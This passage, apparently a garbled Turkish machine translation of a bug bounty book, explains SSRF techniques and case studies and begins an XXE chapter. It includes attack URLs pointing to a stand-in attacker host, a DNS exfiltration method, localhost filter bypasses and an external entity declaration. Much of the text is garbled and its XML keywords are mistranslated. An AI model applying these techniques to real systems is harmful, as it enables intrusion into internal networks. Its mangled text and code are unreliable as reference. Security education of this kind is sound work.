özel bilgileri açığa vurmak. Örneğin, önceki veritabanı örneğindeki bir SSRF
bir saldırganın veritabanı sunucusuna istek göndermesine ve bilgi almasına izin verebilir
erişemezlerdi. SSRF açıkları, saldırganların daha geniş bir alana erişimini sağlar
hedeflenen ağ.

Bir SSRF bulursanız, ancak güvenlik açığı bulunan sitenin dahili sunucuları yoktur veya kullanılamaz.
güvenlik açığı ile erişilebilir, kontrol edilebilecek en iyi şey, yapıp yapamayacağınızdır
Güvenlik açığı bulunan sunucudan isteğe bağlı harici sitelere istekte bulunma. Eğer hedef
Sunucu kontrol ettiğiniz bir sunucuyla iletişim kurmak için kullanılabilir,
kullanılan yazılım ve siz hakkında daha fazla bilgi edinmek için ondan bilgi istedi.
ona verilen cevabı kontrol edebilir.

Örneğin, harici istekleri dahili isteklere dönüştürebilirsiniz.
savunmasız sunucu yönlendirmeleri takip edecek, bir numara Justin Kennedy (@jstnkndy) dikkat çekti
bana göre. Bir sitenin dahili IP'lere erişime izin vermediği, ancak harici iletişime geçeceği durumlarda
sitelerinde, bir yönlendirme olan 301 durum koduyla bir HTTP yanıtı döndürebilirsiniz. Dan beri
Yanıtı kontrol ederseniz, yönlendirmeyi test etmek için dahili bir IP adresine yönlendirebilirsiniz.
Sunucunun 301'i takip edip edemeyeceği ve iç ağına bir HTTP isteği yapıp yapmayacağı.

En az heyecan verici durum, bir SSRF güvenlik açığının yalnızca iletişim kurmanıza izin verdiği durumdur.
sınırlı sayıda harici web sitesi ile. Bu durumlarda, almak mümkün olabilir
yanlış yapılandırılmış bir kara listenin avantajı. Örneğin, bir web sitesi
harici olarak leanpub.com ile iletişim kurun ancak yalnızca sağlanan URL'yi doğrulayın
leanpub.com'da biter, bir saldırgan attackerleanpub.com'a kayıt olabilir. Bu izin verecek
Mağdur sitesine verilen yanıtı kontrol eden bir saldırgan.

POST İsteklerine Karşı GET'i Çağırma

Bir SSRF'nin gönderilebileceğini onayladıktan sonra, ne tür bir HTTP'yi onaylamanız gerekir.
siteden yararlanmak için yöntem çağrılabilir: GET veya POST. POST istekleri daha fazla olabilir
POST parametreleri olabilir, çünkü durum değiştirme davranışını çağırabilir
Kontrollü. Durum değiştirme davranışı kullanıcı hesapları yaratıyor, sistemi çağırıyor olabilir
Sunucunun neyle iletişim kurabileceğine bağlı olarak komutlar veya rasgele kod yürütme
ile. Öte yandan, GET istekleri çoğu zaman veri doldurma ile ilişkilendirilir.

Kör SSRF'ler

Bir talebi nerede ve nasıl yapabileceğinizi onayladıktan sonra, dikkate alınması gereken bir sonraki şey
Bir isteğin cevabına erişip erişemediğiniz. Bir yanıta erişemediğinizde,
kör bir SSRF'niz var. Örneğin, bir saldırgan dahili bir ağa erişebilir
SSRF üzerinden, ancak dahili sunucu isteklerine HTTP yanıtlarını okuyamıyor. Çünkü
saldırgan cevapları okuyamıyor, alternatif bir yol bulmaları gerekecek
bilgi ayıklanıyor. Bunu yapmanın iki yaygın yolu vardır: zamanlama ve DNS.

Bazı kör SSRF'lerde, yanıt süreleri, sunucular hakkında bilgi verebilir.
ile etkileşime girdi. Bunu kullanmanın bir yolu, erişilemeyen sunucuları taramaktır. Limanlar
Bir sunucuya bilgi girişi ve iletme yeteneği sağlamak. Sunucudaki portları tarıyorsunuz
Bir istek göndererek ve yanıtlayıp yanıtlamadıklarını görerek. Örneğin, istismar ediyorsanız
Bu sunucuları tarayarak bağlantı noktasıyla dahili bir ağa bir SSRF
1 saniye ile 10 saniye arasında açık, kapalı veya filtreli
bilinen bağlantı noktalarının (80 veya 443 gibi) yanıt vermesi üzerine. Filtrelenmiş bağlantı noktaları bir iletişim gibidir
Kara delik. İsteklere cevap vermiyorlar, bu yüzden açık mı yoksa kapalı mı olduklarını asla bilemeyeceksiniz. İçinde
Aksine, hızlı bir yanıt, sunucunun açık olduğu ve iletişimi kabul ettiği anlamına gelebilir.
veya kapalı ve iletişimi kabul etmiyor. Port tarama için SSRF'den yararlanırken,
22 (SSH için kullanılır), 80 (HTTP), 443 (HTTPS) gibi ortak bağlantı noktalarına bağlanmayı denemelisiniz,

Yanıtların farklılık gösterip göstermediğini doğrulamak için 8080 (alternatif HTTP) ve 8443 (alternatif HTTPS)
ve bundan hangi bilgileri elde edebilirsiniz.

DNS, internet için bir harita olarak kullanılır. Kullanarak DNS isteklerini çağırabilirseniz,
iç sistemler ve alt etki alanı da dahil olmak üzere isteğin adresini kontrol edebilir,
Başka türlü kör SSRF açıkları dışında bilgi gizliliği yakalayabilirsiniz. için

bundan faydalanırsanız, kaçakçılı bilgileri kendi etki alanınıza bir alt etki alanı olarak eklersiniz hedeflenen sunucu sitenize bu alt etki alanı için bir DNS araması gerçekleştirir. İçin Örneğin, kör bir SSRF bulursanız ve bir sunucuda sınırlı komutları çalıştırabilirseniz ancak aramayı kontrol ederken DNS aramalarını çağırabiliyorsanız yanıtları okumayın. domain, whoami komutunu kullanarak ve çıktısını bir alt etki alanı olarak eklemek Sunucunuza bir istek, sunucu için bir DNS araması alacaksınız data.yourdomain.com , nerede veri savunmasız sunucunun dışarı olduğunu benkimim komuta.

SSRF'den Yararlanma

Dahili sistemleri hedefleyemediğinizde, bunun yerine SSRF'lerden yararlanmayı deneyebilirsiniz. Bu kullanıcıları etkiler. SSRF'niz kör değilse, bunu yapmanın bir yolu bir XSS döndürmektir. savunmasız sitede yürütülen SSRF isteğine yönelik yük. Depolanan XSS faydalı veri yükü, özellikle diğer kullanıcılar tarafından kolayca erişilebiliyorsa önemli Onlara saldırmak için bundan yararlanabilirsiniz. Örneğin, sözde www.leanpub.com ac- profil resminizin resmini almak için bir URL'yi şifreledi: www.leanpub.com/picture?url= . XSS'li bir HTML sayfası döndüren kendi sitenize bir URL gönderebilirsiniz yük, www.leanpub.com/picture?url=attacker.com/xss. Www.leanpub.com kaydedilmişse HTML ve görüntü için işlenen, depolanan bir XSS güvenlik açığı olacaktır. Ancak, Leanpub HTML'yi XSS'le birlikte oluştursa da kaydetmediyse, test edebilirsiniz. Bu eylem için CSRF'yi önleyip önlemedikleri. Olmazlarsa, URL'yi paylaşabilirsiniz. www.leanpub.com/picture?url=attacker.com/xss bir hedefi olan ve bağlantıyı ziyaret ettilerse, XSS SSRF'nin sonucu olarak sitenize ateş eder.

SSRF açıklarını ararken, bulunduğunuz fırsatlara göz atın bazı site işlevlerinin bir parçası olarak bir URL veya IP adresi gönderebilir ve İç sistemler ile iletişim kurma davranışını nasıl kullanabileceğinizi veya Bunu diğer kötü niyetli davranış türleriyle birleştirin.

Örnekler

1. ESEA SSRF ve Sorgu AWS Meta Verileri

Zorluk : orta

URL : https://play.esea.net/global/media_preview.php?url=

Rapor Bağlantısı : http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-query-ing-aws-meta-veri / 1

Rapor Tarihi : 18 Nisan 2016

Ödemeli Ödül : 1000 Dolar

Tanım :

E-Spor Eğlence Derneği (ESEA), rekabetçi bir video oyun yarışmasıdır. E-Spor Eğlence Derneği (ESEA) tarafından kurulmuştur. Son zamanlarda bir başladı Brett Buerhaus'un üzerinde güzel bir SSRF kırılganlığı bulduğu hata ödül programı.

Brett, Google Dorking'i kullanarak **siteyi** aradı **: https: //play.esea.net/ ext: php** . Bu PHP için **play.esea.net** alan **adında** arama yapmak için Google'dan yararlanır . Sorgu sonuçları

dahil **https://play.esea.net/global/media_preview.php?url=** .
URL'ye baktığımızda, ESEA dış kaynaklı içerik oluşturuyormuş gibi görünüyor.
Siteler. SSRF'yi ararken bu kırmızı bayraktır. Anlattığı gibi, Brett kendi yaptı ...
ana: **https://play.esea.net/global/media_preview.php?url=http://ziot.org** . Ama hayır
şans. Anlaşılan esea, resim dosyaları arıyordu, bu yüzden resim içeren bir yükü denedi.
önce Google'ı alan adı olarak, ardından kendi kodunu kullanarak, **https://play.esea.net/global/media_-önizleme.php? url = http: //ziot.org/1.png** .

Başarı.

Şimdi, buradaki asıl güvenlik açığı bir sunucuyu başka içerik oluşturmaya kandırmaktan kaynaklanıyor amaçlanan görüntülerden daha. Yazısında, Brett bir null kullanmak gibi tipik hileler ayrıntıları bayt (% 00), ek eğik çizgiler ve geri atlamak veya kandırmak için soru işaretleri son. Onun durumunda, o ekledi? URL'ye: **https://play.esea.net/global/media_preview.php? url = http: //ziot.org/? 1.png** .

Bunun yaptığı, önceki dosya yolunu dönüştürmek, 1.png bir parametreye değil gerçek URL oluşturuluyor. Sonuç olarak, ESEA web sayfasını oluşturdu. Başka bir deyişle, o ilk testten uzatma kontrolünü atladı.

Şimdi, burada, açıklandığı gibi bir XSS yükü çalıştırmayı deneyebilirsiniz. Sadece basit bir yarat Javascript ile HTML sayfası, siteyi oluşturmak için olsun ve hepsi bu. Ama daha ileri gitti. Ben Sadeghipour'dan gelen bilgilerle (Hacking Pro Tips Röportaj # 1'den onu unutma YouTube kanalımda), AWS EC2 örneği meta verilerinin sorgulanmasını test etti.

EC2, Amazon'un Elastik Hesap Bulutu veya bulut sunucularıdır. Sorgulama yeteneği sağlarlar kendileri, IP üzerinden, örnek hakkında meta veri çekmek için. Bu ayrıcalık belli ki örneğin kendisine kilitlendi, ancak Brett sunucuyu kontrol etme yeteneğine sahip olduğundan içerik yüklüyordu, çağrıyı kendine yapıp meta verileri çekebiliyordu.

Ec2'nin belgeleri burada: **http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-example-metadata.html** . Alabileceğiniz bazı oldukça hassas bilgiler var.

[1] http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/

Sayfa 105

çıkarımlar

Google Dorking, her türünü açığa çıkarırken size zaman kazandıracak harika bir araçtır olası istismarların. SSRF açıkları arıyorsanız, uyanık olun
Uzaktaki içeriği çeken görünen hedef URL'ler için. Bu durumda, o
oldu **url =** eşantiyon oldu.

İkincisi, sahip olduğunuz ilk düşünce ile kaçmayın. Brett rapor verebilirdi
Bu kadar etkili olmayacak olan XSS yükü. Biraz kazarak
daha derin, bu güvenlik açığının gerçek potansiyelini ortaya çıkarabildi. Ama ne zaman bunu yaparken aşmamak için dikkatli olun.

2. Google Dahili DNS SSRF

Zorluk : orta

URL : https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information /

Rapor Bağlantısı : https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-

dns-bilgi / [2]
Rapor Tarihi : Ocak 2017

Ödemeli Ödül : açıklanmadı

Tanım :

Google, kullanıcıların sorunları gidermeleri için https://toolbox.googleapps.com sitesini sağlar.
Google'ın Google Apps Hizmetleriyle yaşıyoruz. Araçlar, tarayıcı hata ayıklama, günlük analizörleri içerir
ve DNS ile ilgili aramalar. Julien Ahrens'in ne zaman dikkatini çeken DNS araçlarıydı.
Siteye güvenlik açıkları göz atma (bunun dahil edilmesine izin verdiği için teşekkür ederiz)
Kitaptaki güvenlik açığı ve yakaladığı resimlerin kullanılması).

Google'ın DNS araçlarının bir parçası olarak, 'Dig' adında bir tane bulunur. Bu çok benzer davranır
Site DNS bilgisi için alan adı sunucularını sorgulamak için Unix dig komutu. Bu
IP adresini www.google.com gibi okunabilir bir alana eşleyen bilgiler. De
Bulma zamanı, Google biri URL için diğeri için iki girdi alanı içeriyordu.
Bu alanda gösterildiği gibi alan adı sunucusu, Julien'in izniyle.

[2] https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/

Kullanıcıların izin verdiği için Julien'in dikkatini çeken "Ad sunucusu" alanıydı.
DNS sorgusunun yönlendirileceği bir IP adresi belirlemek için. Bu önerildiği gibi önemlidir
kullanıcıların DNS sorgularını herhangi bir IP adresine, muhtemelen internet kısıtlı IP'sine gönderebileceğini
adresleri yalnızca dahili özel ağlarda kullanmak içindir. Bu IP aralıkları şunları içerir:

- 10.0.0.0 - 10.255.255.255
- 100.64.0.0 - 100.127.255.255
- 127.0.0.0 - 127.255.255.255
- 172.16.0.0 - 172.31.255.255
- 192.0.0.0 - 192.0.0.255
- 198.18.0.0 - 198.19.255.255

Giriş alanını test etmeye başlamak için, Julien ortak yerel ana bilgisayar adresini 127.0.0.1'e sunmuştur.
komutu yürüten sunucuyu adreslemek için kullanılır. Bunu yapmak hatayla sonuçlandı
"Sunucu yanıt vermedi" mesajı. Bu, aracın aslında denemeye çalıştığını ima etti.

Sayfa 107

bilgi için DNS aramalarına yanıt vermek için kullanılan bağlantı noktası olan kendi bağlantı noktası 53'e bağlanın
sitesi hakkında, rcesecurity.com.

Bu ince mesaj çok önemlidir, çünkü potansiyel bir güvenlik açığını ortaya çıkarır. Daha büyük
Özel ağlar, tüm sunucular internete bakmaz, yani yalnızca belirli sunucular
uzaktan kullanıcılar tarafından erişim olabilir. Web sitelerini çalıştıran sunucular kasıtlı olarak bir örnektir
erişilebilir internet sunucuları. Ancak, bir ağdaki sunuculardan birinin her ikisi de iç
ve dış erişim ve bir SSRF güvenlik açığı içeriyorsa, saldırganlar yararlanabilir
Bu sunucuya, dahili sunuculara erişmek için. Julien'nin aradığı şey buydu.

Bu notta, HTTP isteğini iç numaralandırmaya başlamak için Burp davetsiz misafirine gönderdi
10. aralıktaki IP adresleri. Birkaç dakika sonra, dahili bir kişiden cevap aldı.
10. IP adresi (bilerek açıklanmadı) hakkında boş bir A kaydı olan
alan adı.

```
ID 60520
opcode QUERY
rcode reddedildi
bayraklar QR RD RA
;SORU
www.rcesecurity.com/tr A
;CEVAP
;YETKİ
;EK
```

Boş olması, bir DNS sunucusu beklemememizin bir önemi yok.
harici sitesi hakkında bir şeyler bilmek. İçeriği de bunun için önemli değil
örnek. Aksine, umut verici olan şey, dahili erişimi olan bir DNS sunucusunun
bulundu.

Bir sonraki adım Google'ın dahili ağı hakkında bilgi almaktı. En iyisi
Bunu yapmanın yolu iç şirket ağını bulmaktır. Bu kolayca bir üzerinden yapıldı
ycombinator'ın HackerNews referansları üzerine bir yayın yapan hızlı Google araması
corp.google.com. Corp.google.com alt alanını hedeflemenin nedeni, ağıdır.

bilgi dahili olmalı ve halka açık olmamalıdır.
Böylece, bir sonraki adım corp.google.com için alt etki alanlarını kaba bir şekilde zorlamak oldu.
ad.corp.google.com'u kaldırdı (görünüşe göre bir Google araması da bunu yapmış
kadar). Bu alt etki alanını göndererek ve dahili IP adresini kullanarak, Google
özel DNS bilgilerinin demet:

ID 54403
opcode QUERY
rcode NOERROR
bayraklar QR RD RA
;SORU
ad.corp.google.com A'da
;CEVAP
ad.corp.google.com. 100'DEN BİRLEŞTİRİLDİ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 58. 172 BİRLEŞTİRİLMİŞ
ad.corp.google.com. 100'DEN BİRLEŞTİRİLDİ
;YETKİ
;EK

Dahili IP adresleri 100 ve 172'ye referansları not edin.
Ad.corp.google.com için DNS araması aşağıdakileri döndürdü:

```
dig Bir ad.corp.google.com @ 8.8.8.8

; << >> DiG 9.8.3- P1 << >> Bir reklam.corp.google.com.tr @ 8.8.8.8
;; genel seçenekler : + cmd
;; Got cevap :
;; - >> HEADER << - opcode : QUERY, durum : NXDOMAIN, id : 5981
;; bayraklar : qr rd ra; QUERY : 1 , CEVAP : 0 , YETKİ : 1 , EK : 0

;; SORU BÖLÜM :
; Ad.corp.google.com. İÇİNDE

;; YETKİ BÖLÜM :
corp.google.com. 59 SOA IN ns3.google.com.tr. dns - admin.google.com. 147615698 90 \
0 900 1800 60

;; Sorgu süresi : 28 msn
```

;; SUNUCU : 8.8.8.8 # 53 (8.8.8.8)
;; WHEN : Çar 15 Şubat 23:56:05 2017
;; MSG BOYUTU rcvd : 86

Sayfa 109

Ad.corp.google.com için dahili isim sunucularını da edinmek mümkündü:

kimlik 34583
opcode QUERY
rcode NOERROR
bayraklar QR RD RA
;SORU
ad.corp.google.com IN NS'de
;CEVAP
ad.corp.google.com. 1904 IN NS sıcak dcREDACTED
ad.corp.google.com. 1904 IN NS sıcak dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS sıcak dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
;YETKİ
;EK

Son olarak, bu diğer alt alanlara da bir minecraft sunucusu da dahil olmak üzere erişilebilirdi.
minecraft.corp.google.com

çıkarımlar

Web sitelerinin yapması gereken işlevler içerdiği fırsatları göz önünde bulundurun harici HTTP istekleri. Bunlarla karşılaştığınızda, isteği işaretlemeyi deneyin dahili olarak yukarıda listelenen özel ağ IP adresini kullanarak.

Site dahili IP'lere erişemezse, bir keresinde Justin Kennedy'ye bir numara önerildi:
dış HTTP isteğini sizin kontrol ettiğiniz ve yanıtladığınız bir sunucuya yapacaktım
301 yönlendirmesi ile bu istek. Bu tür bir cevap istekte bulunduğunu
Talep ettikleri kaynağın yeri değişti ve onları işaret etti
yeni bir yere Yanıtı kontrol ettiğinizden, yönlendirmeyi işaret edebilirsiniz.
sunucuyu görmek için dahili bir IP adresine yönlendirmek
iç ağ

3. Dahili Bağlantı Noktası Taraması

Zorluk : Kolay

Sayfa 110

URL : Yok

Rapor Bağlantısı : Yok

Rapor Tarihi : 2017

Ödemeli Ödül : açıklanmadı

Tanım :

Web kancaları, kullanıcıların bir siteden istek göndermelerini istemesini sağlayan ortak bir işlevdir.
belirli eylemler gerçekleştiğinde başka bir uzak siteye. Örneğin, bir e-ticaret sitesi
kullanıcıların satın alma bilgilerini uzaktan kumandaya gönderen bir web kancası kurmalarını sağlayabilir.
Bir kullanıcı her sipariş verdiğinde site gönderir. Kullanıcının tanımlamasını sağlayan Web kancaları
Uzak sitenin URL'si SSRF'ler için bir fırsat sağlar, ancak herhangi birinin etkisi olabilir.
İsteği her zaman kontrol edemediğiniz veya yanıta erişemediğiniz için sınırlı.

Ekim 2017'de, bir siteyi özel oluşturma yeteneği sağladığını fark ettiğimde test ediyordum
web kancaları. Sunucunun izin verip vermeyeceğini görmek için web kancası URL'sini http: // localhost olarak gönderdim.
kendisi ile iletişim kurmak. Ancak, site buna izin verilmediğini söyledi, ben de denedim.
http://127.0.0.1 , ancak bu aynı zamanda bir hata mesajı verdi. Belirsiz, referans vermeye çalıştım
127.0.0.1 başka şekillerde. IP Adresi Dönüştürücü [3] listeleri birçok alternatif IP adresleri
127.0.0.1 ve 127.1 dahil birçokları arasında. Her ikisi de işe çıktı.

Raporumu gönderdim, ancak bunun ciddiyeti bir ödül almak için çok düşüktü.
Yerel ev sahibi kontrollerini atlayabildiğimi göstermiştim. İçin uygun olmak
ödül, altyapılarını tehlikeye atma ya da ayıklama yeteneğini göstermem gerekiyordu.
bilgi.

Sitede ayrıca kullanıcıların uzaktan almalarını sağlayan web entegrasyonları adı verilen bir özellik vardı.
siteye içerik. Özel bir entegrasyon oluşturarak uzak bir URL sağlayabilir.
sitemin hesabımı ayrıştırması ve oluşturması için bir XML yapısı döndürüyor.

Başlamak için, 127.0.0.1'yi gönderdim ve sitenin bazı bilgileri ifşa edebileceğini umdum
cevap. Bunun yerine, site geçerli içerik yerine bir hata verdi: 500 "Yapılamıyor
bağlan. "Bu umut verici görünüyordu çünkü site hakkında bilgi açıklıyordu.
tepki. Sonra, sunucudaki bağlantı noktalarıyla iletişim kurabileceğim olup olmadığını kontrol ettim. gittim
entegrasyon yapılandırmasına geri döndü ve IP adresi olan 127.0.0.1:443'ü gönderdi.
erişmek ve sunucudaki bağlantı noktasına bir iki nokta ile ayrılmış olarak. Bu beni görmek için izin verdi
site 443 numaralı bağlantı noktasında iletişim kurabiliyordu. Yine, 500 "Bağlanamıyorum" u aldım. Bağlantı noktası için aynı
8080. Sonra, genellikle SSH üzerinden bağlanmak için kullanılan 22 numaralı bağlantı noktasını denedim. Bu sefer aldım
hata 503, "Tüm başlıklar alınamadı."

Bingo. Bu cevap farklıydı ve bir bağlantıyı doğruladı. "Tümü alınamadı
başlıklar "iade edildi çünkü SSH'yi bekleyen bir limana HTTP trafiği gönderiyordum
protokol. Web entegrasyonlarını kullanabileceğimi göstermek için raporu tekrar gönderdim

[3] https://www.psyon.org/tools/ip_address_converter.php?ip=127.0.0.1

Sayfa 111

cevapları açık / kapalı ve farklı olduğu için dahili sunucularını taramak
filtrelenmiş bağlantı noktaları.

çıkarımlar

Web kancaları oluşturmak için bir URL gönderebilir veya uzaktan kasten içeri aktarabilirseniz
içeriği belirli portları tanımlamaya çalışın. Bir sunucunun yanıt verme şeklindeki küçük değişiklikler
farklı portlar portun açık / kapalı ya da filtreli olup olmadığını ortaya çıkarabilir. Ek olarak
Sunucunun döndürdüğü mesajlardaki farklılıklara
bunlar açık / kapalı ya da sunucunun yanıt vermesi ne kadar sürerse filtreleniyorlar
istek için.

özet

Sunucu tarafı isteği sahteciliği, bir sunucu talepte bulunmak için kaldıraç kullanılabildiğinde ortaya çıkar
saldırgan adına. Ancak, tüm talepler istismar edilebilir bir sonuç değildir. Örneğin,
Bunun nedeni, bir sitenin kopyalayacağı ve kullanacağı bir resme URL sağlamanıza izin vermesidir.
kendi sitesi (yukarıdaki ESEA örneği gibi), sunucunun savunmasız olduğu anlamına gelmez. bulgu
Bu sadece potansiyelin ne olduğunu onaylamanız gereken ilk adımdır. İle
ESEA ile ilgili olarak, site resim dosyaları ararken, ne olduğunu doğrulamıyor
Alınan ve kötü amaçlı XSS yapmak ve ayrıca HTTP istekleri yapmak için kullanılabilir.
kendi EC2 meta verileri.

13. XML Dış Varlığı Güvenlik Açığı

Açıklama

Bir XML Dış Varlık (XXE) güvenlik açığı, bir uygulamanın nasıl ayrıştırılacağından yararlanılmasını içerir
XML girişi, daha özel olarak, uygulamanın dahil edilmesini nasıl işlediğini kullanarak
Girdiye dahil edilen harici varlıklar. Bunun nasıl kullanıldığına dair tam bir takdir kazanmak
ve potansiyeli, ilk olarak ne geliştirilebilir Markup'un ne olduğunu anlamamızın en iyi olacağını düşünüyorum.
Dil (XML) ve dış varlıklardır.

Meta dil, diğer dilleri tanımlamak için kullanılan bir dildir ve XML budur
dır-dir. HTML'den sonra kısmen, HTML'nin eksikliklerine bir cevap olarak geliştirildi,
veri **görüntüsünü** tanımlamak için kullanılır , nasıl görünmesi gerektiğine odaklanır. Tersine,
XML, verilerin nasıl **yapılandırılacağını** tanımlamak için kullanılır .

Örneğin, HTML'de, <title> , <h1> , <table> , <p> , vb. Gibi etiketleriniz var .
içeriğin nasıl görüntüleneceğini tanımlamak için kullanılır. <Title> etiketi sayfa en tanımlamak için kullanılır
title (şok edici), <h1> etiketleri başlıkları tanımlar, <table> etiketleri satırlar halinde veri sunar ve
sütunlar ve <p> basit metin olarak sunulur. Buna karşılık, XML'in önceden tanımlanmış etiketleri yoktur.
Bunun yerine, XML belgesini oluşturan kişi, tanımlamak için kendi etiketlerini tanımlar.
içerik sunuluyor. İşte bir örnek:

```
<? xml version = "1.0" encoding = "UTF-8"?>
<İşler>
  <İş>
    <title> Hacker </title>
    <telafi> 1000000 </ telafi>
    <sorumluluk isteğe bağlı = "1" > Web'i vurun </responsibility>
  </ İş>
</ İşler>
```

Bunu okuyarak, muhtemelen XML belgesinin amacını tahmin edebilirsiniz.
iş listeleme ancak bir web sayfasında sunulmuşsa bunun nasıl görüneceği konusunda hiçbir fikriniz yok.
XML'in ilk satırı, kullanılacak XML sürümünü belirten bir bildirim başlığı ve
kodlamanın türü. Bunu yazarken, XML'in 1.0 ve 1.1 olan iki sürümü vardır.
1.0 ile 1.1 arasındaki farkların detaylandırılması, kitabın kapsamı dışındadır.
Korsanlığı etkilememelisin.

İlk başlıktan sonra, <jobs> etiketi dahil edilir ve diğer tüm <job> etiketlerini çevreler ,
hangi içerir <title> , <tazminat> ve <sorumluluklar> etiketleri. Şimdi, HTML ile

bazı etiketler kapanış etiketi gerektirmez (örneğin,
 ), tüm XML etiketleri kapanış etiketi gerektirir.
Yine, yukarıdaki örneğin çizim <iş> , bir başlangıç etiketi ve </ iş> olur
ilgili bitiş etiketi. Ayrıca, her etiketin bir adı vardır ve bir niteliği olabilir.
<job> etiketini kullanarak, etiketin adı **işdir** ancak öznitelikleri yoktur. diğer taraftan <sorumluluğu>
el, isim niteliğindeki **isteğe bağlı** bir özellik ile **sorumluluk taşır** .
isteğe bağlı adı ve özellik değeri **1** .

Herhangi biri herhangi bir etiketi tanımlayabildiğinden, açık soru daha sonra nasıl olur?
Etiketler bir şey olabilirse, bir XML belgesinin nasıl ayrıştırılacağını ve kullanılacağını biliyor musunuz? Peki, geçerli
XML dokümanı geçerlidir, çünkü genel XML kurallarını takip eder (benim için gerek yok)
hepsini listele ama kapanış etiketi olması yukarıda bahsettiğim bir örnektir)
belge türü tanımı (DTD). DTD buna dalmamızın tek nedeni.
çünkü bu, bilgisayar korsanları olarak istismarımızı sağlayacak şeylerden biri.

Bir XML DTD, kullanılan etiketler için bir tanım belgesi gibidir ve
XML tasarımcısı veya yazar. Yukarıdaki örnekte, benden beri tasarımcı olurdum.
işler belgesini XML olarak tanımladı. Bir DTD hangi etiketlerin bulunduğunu, hangi özelliklerin olduğunu tanımlayacaktır.
diğer elementlerde vb. bulunan elementlere sahip olabilirler.
Kendi DTD'lerimizi oluşturabilirim, bazıları resmileştirildi ve bunlar da dahil
Gerçekten Basit Sendikasyon (RSS), genel veri kaynakları (RDF), sağlık bilgileri
(HL7 SGML / XML) vb.

İşte benim DTD dosyası yukarıdaki XML'imde nasıl göründüğü:

```
<! ELEMENT İşler ( Meslek ) * >
<! ELEMENT İş ( Unvan , Tazminat , Sorumluluk ) >
<! ELEMENT Başlık ( #PCDATA ) >
<! ELEMAN Telafisi ( #PCDATA ) >
<! ELEMENT Sorumluluğu (#PCDATA)>
<! ATTLIST Sorumluluk isteğe bağlı CDATA "0" >
```

Buna bakarak, muhtemelen ne anlama geldiğini tahmin edebilirsiniz. Bizim <işler> etiketi
aslında bir XML! ELEMENT ve Job öğesini içerebilir. Bir iş bir!
hepsi aynı zamanda bir Başlık, Tazminat ve Sorumluluk içerebilir!
ve sadece (#PCDATA) ile gösterilen karakter verilerini içerebilir . Son olarak,! ELEMENT
Sorumluluğun, varsayılan değeri 0 olan, isteğe bağlı bir özelliği (! ATTLIST) isteğe bağlı vardır.

Çok zor değil mi? DTD'lere ek olarak, hala sahip olmadığımız iki önemli etiket var.
discused **,! DOCTYPE** ve **! ENTITY** etiketleri. Bu noktaya kadar, DTD'yi kışkırttım.
dosyaları bizim XML'in dışındadır. Yukarıdaki ilk örneği, XML belgesini hatırlayın
İkinci örnekte DTD tarafından yapılan etiket tanımlarını içermiyordu.
Ancak, DTD'yi XML belgesinin içine dahil etmek ve bunu yapmak mümkündür.
XML'in ilk satırı bir **<! DOCTYPE>** elemanı olmalıdır. İki örneğimizi birleştirerek
yukarıda, şuna benzeyen bir belge alırız:

Sayfa 114


```
<? xml version = "1.0" encoding = "UTF-8"?>
<! DOCTYPE İşleri [
<! ELEMENT İş (Unvan, Tazminat, Sorumluluk)>
<! ELEMENT Başlık (#PCDATA)>
<! ELEMAN Telafisi (#PCDATA)>
<! ELEMENT Sorumluluğu (#PCDATA)>
<! ATTLIST Sorumluluk isteğe bağlı CDATA "0">
]>
<İşler>
  <İş>
    <title> Hacker </title>
    <telafi> 1000000 </ telafi>
    <sorumluluk isteğe bağlı = "1" > Web'i vurun </responsibility>
  </ İş>
</ İşler>
```

Burada **İç DTD Beyanı** olarak adlandırılan şeye sahibiz . Hala başladığımızı fark et.
belgemizin UTF-8 ile XML 1.0'a uygun olduğunu gösteren bir bildirim başlığı ile
kodlama, ancak hemen sonra, izlenmesi gereken XML için DOCTYPE'ımızı tanımlarız. kullanma

harici bir DTD.! DOCTYPE'in <! DOCTYPE işleri gibi görünmesi dışında benzer olurdu
SISTEM "jobs.dtd">. XML ayrıştırıcısı daha sonra **jobs.dtd** dosyasının içeriğini ayrıştırır
XML dosyasını ayrıştırırken. Bu önemlidir çünkü! ENTITY etiketi de benzer şekilde ele alınır.
ve sömürümüzün temelini oluşturur.

Bir XML varlığı bilgi için bir yer tutucusu gibidir. Önceki örneğimizi tekrar kullanarak,
Her işin web sitemize link vermesini isteseydik, bizim için sıkıcı olurdu.
Her zaman adresi yazınız, özellikle de URL'niz değişebiliyorsa. Bunun yerine, bir
! ENTITY ve ayrıştırıcıyı ayrıştırma sırasında içeriğini alıp ekleme
belgeye değer. Umarım bununla nereye gittiğimi görürsün.

Harici bir DTD dosyasına benzer şekilde, XML dosyamızı bu fikri içerecek şekilde güncelleyebiliriz:

```
<? xml version = "1.0" encoding = "UTF-8"?>
<! DOCTYPE İşleri [
<! ELEMENT İş (Unvan, Tazminat, Sorumluluk, Web Sitesi)>
<! ELEMENT Başlık (#PCDATA)>
<! ELEMAN Telafisi (#PCDATA)>
<! ELEMENT Sorumluluğu (#PCDATA)>
<! ATTLIST Sorumluluk isteğe bağlı CDATA "0">
<! ELEMENT Web sitesi HERHANGİ BİR>
<! ENTITY url SYSTEM "web sitesi.txt">
]>
<İşler>
```

Sayfa 115


```
  <İş>
    <title> Hacker </title>
    <telafi> 1000000 </ telafi>
